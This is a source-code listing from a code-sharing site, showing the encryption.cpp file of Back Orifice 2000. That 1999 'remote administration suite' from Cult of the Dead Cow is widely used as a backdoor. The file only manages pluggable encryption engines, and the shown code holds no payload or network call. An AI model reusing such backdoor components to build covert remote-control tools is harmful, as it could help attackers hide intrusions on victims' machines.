encryption.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:5k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. // Command Input/Output Interface
  16. #include<windows.h>
  17. #include<encryption.h>
  18. //
  19. ///////
  20. //////////////////// Encryption Handler /////////////////////////
  21. ///////
  22. //
  23. CEncryptionHandler::CEncryptionHandler()
  24. {
  25. int i;
  26. for(i=0;i<MAX_ENCRYPTION_ENGINES;i++)
  27. m_EncryptionEngine[i]=INVALID_ENCRYPTION_ENGINE;
  28. }
  29. CEncryptionHandler::~CEncryptionHandler()
  30. {
  31. int i;
  32. for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {
  33. if(m_EncryptionEngine[i]!=INVALID_ENCRYPTION_ENGINE) {
  34. m_EncryptionEngine[i]->pRemove();
  35. m_EncryptionEngine[i]=INVALID_ENCRYPTION_ENGINE;
  36. }
  37. }
  38. }
  39. int CEncryptionHandler::Insert(ENCRYPTION_ENGINE *engine)
  40. {
  41. int i;
  42. if(engine->pInsert==NULL) return -1;
  43. if(engine->pInsert()==-1) return -1;
  44. for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {
  45. if(m_EncryptionEngine[i]==INVALID_ENCRYPTION_ENGINE) break;
  46. }
  47. if(i==MAX_ENCRYPTION_ENGINES) return -1;
  48. m_EncryptionEngine[i]=engine;
  49. return i;
  50. }
  51. int CEncryptionHandler::GetEngineCount(void)
  52. {
  53. int count,i;
  54. count=0;
  55. for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {
  56. if(m_EncryptionEngine[i]==INVALID_ENCRYPTION_ENGINE) count++;
  57. }
  58. return count;
  59. }
  60. ENCRYPTION_ENGINE *CEncryptionHandler::GetEngine(int nEngine)
  61. {
  62. if(nEngine<0 || nEngine>=MAX_ENCRYPTION_ENGINES) return NULL;
  63. return m_EncryptionEngine[nEngine];
  64. }
  65. ENCRYPTION_ENGINE *CEncryptionHandler::GetEngineByID(char *svID)
  66. {
  67. int i;
  68. for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {
  69. char *svQuery=Query(i);
  70. if(svQuery!=NULL) {
  71. if(strnicmp(svQuery,svID,min(lstrlen(svID),lstrlen(svQuery)))==0)
  72. return m_EncryptionEngine[i];
  73. }
  74. }
  75. return NULL;
  76. }
  77. char *CEncryptionHandler::Query(int nEngine)
  78. {
  79. if(nEngine<0 || nEngine>=MAX_ENCRYPTION_ENGINES) return NULL;
  80. if(m_EncryptionEngine[nEngine]==INVALID_ENCRYPTION_ENGINE) return NULL;
  81. if(m_EncryptionEngine[nEngine]->pQuery==NULL) return NULL;
  82. return m_EncryptionEngine[nEngine]->pQuery();
  83. }
  84. int CEncryptionHandler::Remove(int nEngine)
  85. {
  86. int ret;
  87. if(nEngine<0 || nEngine>=MAX_ENCRYPTION_ENGINES) return NULL;
  88. if(m_EncryptionEngine[nEngine]==INVALID_ENCRYPTION_ENGINE) return NULL;
  89. if(m_EncryptionEngine[nEngine]->pRemove==NULL) return NULL;
  90. ret=m_EncryptionEngine[nEngine]->pRemove();
  91. m_EncryptionEngine[nEngine]=INVALID_ENCRYPTION_ENGINE;
  92. return ret;
  93. }
  94. //
  95. ///////
  96. //////////////////// Encryption Engine /////////////////////////
  97. ///////
  98. //
  99. CEncryptionEngine::CEncryptionEngine(ENCRYPTION_ENGINE *pEngine)
  100. {
  101. m_pEngine=pEngine;
  102. m_pData=NULL;
  103. }
  104. CEncryptionEngine::~CEncryptionEngine()
  105. {
  106. }
  107. char *CEncryptionEngine::Query(void)
  108. {
  109. return m_pEngine->pQuery();
  110. }
  111. int CEncryptionEngine::Startup(void)
  112. {
  113. if(m_pData!=NULL) return -1;
  114. if(m_pEngine->pStartup==NULL) return 0;
  115. m_pData=m_pEngine->pStartup();
  116. if(m_pData==NULL) return -1;
  117. return 0;
  118. }
  119. int CEncryptionEngine::Shutdown(void)
  120. {
  121. int ret;
  122. if(m_pData==NULL) return -1;
  123. if(m_pEngine->pShutdown==NULL) return 0;
  124. ret=m_pEngine->pShutdown(m_pData);
  125. if(ret>=0) m_pData=NULL;
  126. return ret;
  127. }
  128. int CEncryptionEngine::SetEncryptKey(char *svKey)
  129. {
  130. if(m_pData==NULL) return -1;
  131. if(m_pEngine->pSetEncryptKey==NULL) return 0;
  132. return m_pEngine->pSetEncryptKey(m_pData,svKey);
  133. }
  134. int CEncryptionEngine::SetDecryptKey(char *svKey)
  135. {
  136. if(m_pData==NULL) return -1;
  137. if(m_pEngine->pSetDecryptKey==NULL) return 0;
  138. return m_pEngine->pSetDecryptKey(m_pData,svKey);
  139. }
  140. char *CEncryptionEngine::GetEncryptKey(void)
  141. {
  142. if(m_pData==NULL) return NULL;
  143. if(m_pEngine->pGetEncryptKey==NULL) return NULL;
  144. return m_pEngine->pGetEncryptKey(m_pData);
  145. }
  146. char *CEncryptionEngine::GetDecryptKey(void)
  147. {
  148. if(m_pData==NULL) return NULL;
  149. if(m_pEngine->pGetDecryptKey==NULL) return NULL;
  150. return m_pEngine->pGetDecryptKey(m_pData);
  151. }
  152. BYTE *CEncryptionEngine::Encrypt(BYTE *pBuffer,int nBufLen, int *pnOutBufLen)
  153. {
  154. if(m_pData==NULL) return NULL;
  155. if(m_pEngine->pEncrypt==NULL) return NULL;
  156. return m_pEngine->pEncrypt(m_pData,pBuffer,nBufLen,pnOutBufLen);
  157. }
  158. BYTE *CEncryptionEngine::Decrypt(BYTE *pBuffer,int nBufLen, int *pnOutBufLen)
  159. {
  160. if(m_pData==NULL) return NULL;
  161. if(m_pEngine->pDecrypt==NULL) return NULL;
  162. return m_pEngine->pDecrypt(m_pData,pBuffer,nBufLen,pnOutBufLen);
  163. }
  164. int CEncryptionEngine::CreateNewKeys(void)
  165. {
  166. if(m_pData==NULL) return -1;
  167. if(m_pEngine->pCreateNewKeys==NULL) return -1;
  168. return m_pEngine->pCreateNewKeys(m_pData);
  169. }
  170. void CEncryptionEngine::Free(BYTE *pBuffer)
  171. {
  172. if(m_pData==NULL) return;
  173. if(m_pEngine->pFree==NULL) return;
  174. m_pEngine->pFree(m_pData, pBuffer);
  175. }